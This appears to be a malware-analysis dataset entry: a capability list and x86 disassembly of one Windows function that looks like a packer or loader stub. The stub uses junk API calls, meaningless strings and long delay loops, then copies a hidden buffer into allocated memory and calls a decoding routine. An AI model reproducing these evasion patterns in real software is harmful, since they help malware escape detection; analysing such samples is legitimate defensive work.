Function at 0x408d90
Capabilities:
Connect pipe
Get common file path
Get geographical location
Get hostname
Identify system language via api
Set console window title
Set current directory

Disassembly:
mov eax, 0x1144
call fcn.004087f0
mov eax, dword [0x429004]
xor eax, esp
mov dword [esp + 0x1140], eax
mov edx, dword [0x2b4fe14]
push ebp
push esi
xor ebp, ebp
push edi
cmp edx, 0x7c
jne 0x408e37
push ebp
push ebp
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push ebp
lea ecx, [esp + 0x150]
push ecx
push ebp
push str.sileyigocohijovifesusutil
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x2b4fe14], 0x2d
jne 0x408e12
push ebp
lea edx, [esp + 0x10]
push edx
mov dword [esp + 0x14], ebp
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push ebp
mov dword [esp + 0x14], ebp
mov dword [esp + 0x18], ebp
mov dword [esp + 0x1c], ebp
call fcn.004011e3
add esp, 4
lea eax, [esp + 0x10]
push eax
call section..text
mov edx, dword [0x2b4fe14]
mov ecx, dword [0x42acf0]
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x408e54
lea edx, [ecx + 0xa231]
cmp edx, 0x141
jne 0x408e68
mov dword [0x42b9f0], edi
mov dword [0x42b9f4], esi
inc eax
cmp eax, 0xb9fa618
jl 0x408e47
mov edi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x2b4fe14], edx
xor esi, esi
mov edi, edi
cmp esi, 0x562d05
jne 0x408e94
mov ecx, dword [0x42ace4]
mov dword [0x2b4fe18], ecx
cmp edx, 0x3c
jne 0x408ea2
push ebp
call edi
mov edx, dword [0x2b4fe14]
inc esi
cmp esi, 0x5f6c74
jl 0x408e80
cmp edx, 0x110a
jne 0x408f1c
push ebp
mov dword [0x2b4fce0], ebp
mov dword [0x2b4fce4], ebp
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push ebp
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_LockFile]
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push ebp
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetCommState]
push ebp
push ebp
call fcn.0040106a
push str.0__s__d__f
call fcn.004011bb
push ebp
call fcn.004010aa
push ebp
call fcn.004010aa
add esp, 0x14
push ebp
call fcn.0040147c
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x2b4fe14]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x2b4fb3c], eax
cmp dword [0x2b4fe14], ebp
jbe 0x408f8e
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea esp, [esp]
mov ecx, dword [0x2b4fe18]
mov dword [esp + 0xc], ecx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + esi]
mov ecx, dword [0x2b4fb3c]
mov byte [ecx + esi], al
cmp dword [0x2b4fe14], 0x5ab
jne 0x408f85
push ebp
push ebp
push ebp
push ebp
call edi
inc esi
cmp esi, dword [0x2b4fe14]
jb 0x408f50
push ebx
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00408ab0
mov eax, dword [0x2b4fe14]
mov edi, dword [0x2b4fb3c]
mov ebx, dword [0x429ed0]
mov esi, eax
cmp eax, 0x930
jne 0x408fc5
push ebp
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x2b4fe14]
mov dword [0x2b4fb38], ebx
cmp eax, 0x114e
jne 0x408fe8
push ebp
push ebp
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
push ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov eax, dword [0x2b4fe14]
cmp eax, 0x2f
jne 0x409018
push ebp
lea edx, [esp + 0x954]
push edx
push ebp
push str.Giy_zusud_huhapilovaf_sarusamuyul
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatW]
push ebp
lea eax, [esp + 0x154]
push eax
push str.Sugivoyayuj_yiwicohawufufa_xalumapacib_musihobifuv_juj
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push edi
call fcn.00408c00
add dword [0x2b4fb3c], 0
mov ebx, dword [esp + 0x24]
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 8
xor esi, esi
push ebp
push ebp
push ebp
call edi
cmp esi, 0x1a01e
jle 0x40904d
cmp ebx, 0xf5bed7
jne 0x409056
inc esi
cmp esi, 0x1ece7a52
jl 0x409038
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov esi, dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
mov edi, dword [sym.imp.KERNEL32.dll_HeapLock]
mov dword [esp + 0x10], 0x1519a5
mov ebp, 0x8e46a6f0
jmp 0x409080
cmp dword [0x2b4fe14], 0xcc1
jne 0x40908e
call ebx
cmp dword [0x2b4fe14], 0x3dc
mov dword [0x2b4fcdc], ebp
jne 0x4090ae
push 0
push 0
push 0
push 0
call esi
push 0
call edi
dec dword [esp + 0x10]
jne 0x409080
mov ecx, dword [esp + 0x1150]
pop ebx
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040105b
add esp, 0x1144
ret